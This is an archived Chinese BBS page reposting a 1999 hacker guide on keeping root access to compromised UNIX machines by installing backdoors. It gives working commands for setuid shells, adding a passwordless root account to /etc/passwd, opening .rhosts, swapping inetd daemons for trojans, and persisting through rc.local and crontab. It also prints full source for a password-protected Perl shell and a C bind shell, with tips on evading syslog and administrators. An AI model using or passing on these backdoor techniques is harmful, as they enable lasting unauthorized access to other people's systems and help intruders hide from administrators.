📄 365.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="366.htm">下一篇</a>]
<hr><p align="left"><small>:发信人: foolbird (foolbird), 信区: Security <br>
:标 题: 如何安装后门(转贴) <br>
:发信站: 武汉白云黄鹤站 (2001年07月25日21:28:51 星期三), 转信 <br>
发布日期: 1999-12-3 <br>
<br>
内容: <br>
<br>
---------------------------------------------------------------------------- <br>
<br>
---- <br>
<br>
前言： <br>
<br>
本文之内容可以任意拷贝，传阅。在不违背作者原始意图的情况下也可任意修改， <br>
<br>
但请在修改后mail给作者一份。谢谢！ <br>
<br>
--- <br>
<br>
参考文献： <br>
<br>
Article: backdoor from The Infinity Concept Issue II <br>
<br>
<br>
Src: b4b0.c by b4b0 <br>
<br>
Src: daemonsh.pl by van Hauser / [THC] in 1997' <br>
<br>
-- <br>
<br>
千辛万苦（or 轻而易举）的取得root后，当然希望长久的保持.以被以后用来。。。d0 <br>
<br>
ing what u want t0 d0 :) <br>
<br>
传统的方法就是建立一个后门(backd00r).即使入侵被发现，好的（先进）后门仍然能够 <br>
<br>
使你再次轻松的破门而入 -- 请记住： <br>
<br>
" we come back and we are the h.a.c.k.e.r " <br>
<br>
-- <br>
<br>
创建后门的方法如下： <br>
<br>
<br>
<br>
1. setuid <br>
<br>
#cp /bin/sh /tmp/.backdoor <br>
<br>
#chmod u+s /tmp/.backdoor <br>
<br>
加上 suid 位到shell 上，最为简单方便，但也最为容易被ADM发现 <br>
<br>
find / -perm 4000 -print; <br>
<br>
同时在大多数的SUNOS上你会发现不能setuid。-- 适用于新手； <br>
<br>
<br>
<br>
<br>
<br>
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd <br>
<br>
即给系统增加一个 id 为 0（root)的帐号，无口令； <br>
<br>
<br>
也很容易被发现。 -- 适用于新手； <br>
<br>
<br>
<br>
<br>
<br>
3.echo "+ zer9">>/.rhosts <br>
<br>
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令 <br>
<br>
此时的 zer9 就相当于口令，不知道的人是不能进去的. <br>
<br>
前提是目标的port 512or513or514 opening. <br>
<br>
注： 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 <br>
<br>
导致目标门户打开，最好不要； <br>
<br>
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限； <br>
<br>
-- 适用于比新手高一点点,比中级水平低一点点的guys; <br>
<br>
<br>
<br>
<br>
<br>
<br>
4.modify sendmail.cf 增加一个"wiz" 命令; <br>
<br>
usage: <br>
<br>
telnet target 25 [enter] <br>
<br>
wiz[enter] <br>
<br>
这是我从SAFEsuite中学到的（但没试过）；比较危险。因为几乎所有的扫描器都会刺探 <br>
<br>
本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂，危险，但ADM不易发 <br>
<br>
现，隐蔽性较强； <br>
<br>
你只在你的机器上试一试就okay了； <br>
<br>
-- 顾名思意，大师级漏洞； <br>
<br>
<br>
<br>
<br>
<br>
<br>
5. crack suck as inetd,login,... <br>
<br>
即安装它们的特络绎版本。你需要找到各版本unix的rootkit; <br>
<br>
然后分别编译即可； <br>
<br>
<br>
<br>
如果目标机上没有安装 tripwire之类的东东，那几乎不可能被发现。linux&sunos&fre <br>
<br>
ebsd的可能 <br>
<br>
好找，但其他的了？即使你找到了，你有对应平台上的编译器吗？我有一台运行 slack <br>
<br>
ware,one running irix,one running sunos,one running hpux,one running digits <br>
<br>
unix,... <br>
<br>
<br>
hahhahha,我又做梦了:) <br>
<br>
-- 我个人认为是最好的方法，但实现起来有一定风险， <br>
<br>
你必须考虑到如果你的木马运行出错怎么办--因为 <br>
<br>
我们所做的一切都必须以不破坏目标机上的任何数 <br>
<br>
据为原则； <br>
<br>
<br>
<br>
<br>
<br>
6.ping rem0te backd00r <br>
<br>
即使是防火墙也很少阻止 ICMP 的通过，因此本后门可绕过防火墙。具体的程序你可在 <br>
<br>
[THC] 的主页发现；我想到了另外一种直接用ping命令实现的可通过防火墙的方法 ： <br>
<br>
<br>
<br>
<br>
一方在防火墙内，一方在防火墙外；除 ICMP 外；通向防火 墙内的信息均被过滤掉 <br>
<br>
：( <br>
<br>
用 60k data 代表长,10k data 代表短；使用摩尔思编码； <br>
<br>
（或其他自定义编码） <br>
<br>
双方通过 ICMPinfo 接受信息（ping 's data length)； <br>
<br>
“嘀，嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江，我是黄河- <br>
<br>
-- 向我开炮！向我开炮”(^o^); <br>
<br>
以后有时间我会通过程序来实现验证可行性的。 <br>
<br>
[ctrl-c] <br>
<br>
$/> <br>
<br>
- <br>
<br>
<br>
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面的方法有很大的危险性, exit <br>
<br>
(-1) please; <br>
<br>
- <br>
<br>
首先将源程序cut，存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop <br>
<br>
2d....最好是已经被ADM关掉了，而且不太引人注目的daemon,注意，一定要是 TCP typ <br>
<br>
es.然后 <br>
<br>
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) <br>
<br>
cp in.rexecd /usr/sbin/in.rexecd <br>
<br>
然后 ps -aux|grep inetd;kill -HUP id(by inetd); <br>
<br>
okay! 连 /etc/inetd.conf 都不要改。 <br>
<br>
重申一点：不论在任何情况下，我们都要尽最大的可能保护数据！ <br>
<br>
<br>
- <br>
<br>
Usage: nc target <ur changed daemon's port> (such as 512) [enter] <br>
<br>
ur passwd [enter] <br>
<br>
(then u login in...:) <br>
<br>
----Cut Here------------------------------------------ <br>
<br>
#!/usr/bin/perl <br>
<br>
# <br>
<br>
# BEST <br>
<br>
# SIMPLE <br>
<br>
# rem0te bind shell <br>
<br>
#[perl version only tcp] <br>
<br>
<br>
# by <br>
<br>
# zer9[FTT] <br>
<br>
# zer9@21cn.com <br>
<br>
#passed on allmost unix <br>
<br>
#greet to:van Hauser/[THC] <br>
<br>
# for his daemonshell.pl <br>
<br>
# <br>
<br>
$SHELL="/bin/csh -i"; <br>
<br>
#d3f4ult p4sswd 1s "wh04r3u" (no quote); <br>
<br>
$PASSWORD="BifqmATb6D5so"; <br>
<br>
if ($PASSWORD) { <br>
<br>
<br>
chop($pass=<STDIN>); <br>
<br>
if (crypt($pass, $PASSWORD) ne $PASSWORD) { <br>
<br>
exit 0; <br>
<br>
} <br>
<br>
exec $SHELL ; <br>
<br>
exit 0; <br>
<br>
} <br>
<br>
----Cut Here-------------------------------------------- <br>
<br>
下面是一个for gnuc 的bindshell,first cut it,save as <br>
<br>
backdoor.c ,then cc backdoor.c -o backdoor <br>
<br>
other action just l1ke before; <br>
<br>
<br>
Usage: (exp:binding to in.rlogind (513)) <br>
<br>
nc target 513 //spam a shell on the high port; <br>
<br>
nc target 54321 <br>
<br>
ur passwd <br>
<br>
(then u coming in...) <br>
<br>
----Cut Here------------------------------------- <br>
<br>
/* <br>
<br>
* [ b i n d - s h e l l ] <br>
<br>
* by <br>
<br>
* zer9[FTT] <br>
<br>
* zer9@21cn.com <br>
<br>
<br>
*test on slackware 2.0.33&irix6.4(cc) <br>
<br>
*cc backdoor.c -o backdoor <br>
<br>
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m <br>
<br>
*c0mm4nd l1n3: backdoor [port] <br>
<br>
*d3fault p0rt 1s: 54321 <br>
<br>
*greets to b4b0 for his b4b0.c <br>
<br>
*m4yb3 1 c0uld s4y: <br>
<br>
*"0k,b4b0.l1st3n c4r3fully;" <br>
<br>
*s0rry,just a joke. <br>
<br>
* <br>
<br>
*/ <br>
<br>
<br>
#include <stdio.h> <br>
<br>
#include <string.h> <br>
<br>
#include <netinet/in.h> <br>
<br>
#include <sys/types.h> <br>
<br>
#include <unistd.h> <br>
<br>
#include <arpa/inet.h> <br>
<br>
#include <sys/socket.h> <br>
<br>
#define PassWord "k1n90fth3w0rld" <br>
<br>
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ <br>
<br>
#define DefaultPort 54321 <br>
<br>
/* d3f4ult b1nd1ng p0rt */ <br>
<br>
<br>
int main(int argc,char **argv) <br>
<br>
{ <br>
<br>
int s,in_s; <br>
<br>
struct sockaddr_in server,client; <br>
<br>
int client_len,bindport; <br>
<br>
char recvbuf[1000]; <br>
<br>
if(argc!=2) bindport=DefaultPort; <br>
<br>
else <br>
<br>
bindport=atoi(argv[1]); <br>
<br>
if((s=socket(AF_INET,SOCK_STREAM,0))<0) <br>
<br>
{ <br>
<br>
<br>
perror("socket"); <br>
<br>
return -1; <br>
<br>
} <br>
<br>
bzero((char *)&server,sizeof(server)); <br>
<br>
bzero((char *)&client,sizeof(client)); <br>
<br>
bzero(recvbuf,sizeof(recvbuf)); <br>
<br>
server.sin_family=AF_INET; <br>
<br>
server.sin_port=htons(bindport); <br>
<br>
server.sin_addr.s_addr=INADDR_ANY; <br>
<br>
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) <br>
<br>
{ <br>
<br>
<br>
perror("bind"); <br>
<br>
return -1; <br>
<br>
} <br>
<br>
if(listen(s,3)!=0) <br>
<br>
{ <br>
<br>
perror("listen"); <br>
<br>
return -1; <br>
<br>
} <br>
<br>
client_len=sizeof(client); <br>
<br>
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) <br>
<br>
{ <br>
<br>
<br>
perror("accept"); <br>
<br>
return -1; <br>
<br>
} <br>
<br>
recv(in_s,recvbuf,sizeof(recvbuf),0); <br>
<br>
sleep(1); <br>
<br>
if((strlen(recvbuf)-1)==strlen(PassWord)) <br>
<br>
if(!strncmp(recvbuf,PassWord,strlen(PassWord))) <br>
<br>
{ <br>
<br>
send(in_s,"0k4y! c0m1ng 1n...\n",25,0); <br>
<br>
close(0);close(1);close(2); <br>
<br>
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2); <br>
<br>
<br>
execl("/bin/csh","/bin/csh",(char *)0); <br>
<br>
} <br>
<br>
close(s); <br>
<br>
close(in_s); <br>
<br>
return 0; <br>
<br>
} <br>
<br>
----Cut Here------------------------------------------------- <br>
<br>
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的，inetd启动它们 <br>
<br>
的同时已经进行log 了; <br>
<br>
旁路掉inetd就能完全避开syslog! <br>
<br>
方法很简单，只要直接在命令行直接启动例程2(c)就可以了， <br>
<br>
<br>
（1perl不行）;不过这样很麻烦；一旦ADM关掉计算机就玩完了； <br>
<br>
比较好的方法是在 /etc/rc.d/rc.local中加入： <br>
<br>
backdoor & <br>
<br>
但即使这样作了，每次用过后还要再起动一次；更好的方法是写一个具有完全功能(后门 <br>
<br>
功能^o^）的daemon,彻底的解决这个问题；但这样做与hack inetd 那样更有效率（安全 <br>
<br>
）了？ <br>
<br>
<br>
<br>
<br>
<br>
8.第八种武器就是 crontab <br>
<br>
我只知道原理，没实践过. <br>
<br>
每到一定时间就往 /etc/passwd 中加入一条uid为0（root） <br>
<br>
<br>
的用户；时间一道就delete ,或创建suid's shell... <br>
<br>
在序言中提到的文章中有详细介绍； <br>
<br>
<br>
<br>
<br>
<br>
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的 <br>
<br>
home目录下的 .forward 可作到这一点。 <br>
<br>
<br>
<br>
<br>
<br>
10。修改内核--超级高手的做法；2.2.0的解压文件达到了50几MB, <br>
<br>
看到就头痛。接着就 jmp ffff0 :) (不是看到内容，而是看到大小）; <br>
<br>
[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看； <br>
<br>
<br>
<br>
<br>
<br>
<br>
11.还有就是利用 overflow 程序，虽然我们一般是利用它取得root; <br>
<br>
但只要 ADM && u 没有 patch ,始终我们可以利用它的，与suid不同的是它不怕被 <br>
<br>
find / -perm 4000 发现；一般只有 tripwire可发现。 <br>
<br>
<br>
<br>
<br>
<br>
--------- <br>
<br>
我所知道的方法全部坦白完了，如果你知道更好更酷的（or 更差更复杂） <br>
<br>
，请与我交流。谢谢！ <br>
<br>
--------- <br>
<br>
*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* <br>
<br>
最后警告： <br>
<br>
这篇文章的写作目的是为了更好的与你进行技术上的交流， <br>
<br>
而不是教唆或鼓励你进行破坏。对于任何人因为阅读本文 <br>
<br>
而造成的不良后果，作者不承担任何法律责任。 <br>
<br>
*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* <br>
<br>
_______________________________________________________ <br>
<br>
zer9[FTT] <br>
<br>
<br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="366.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -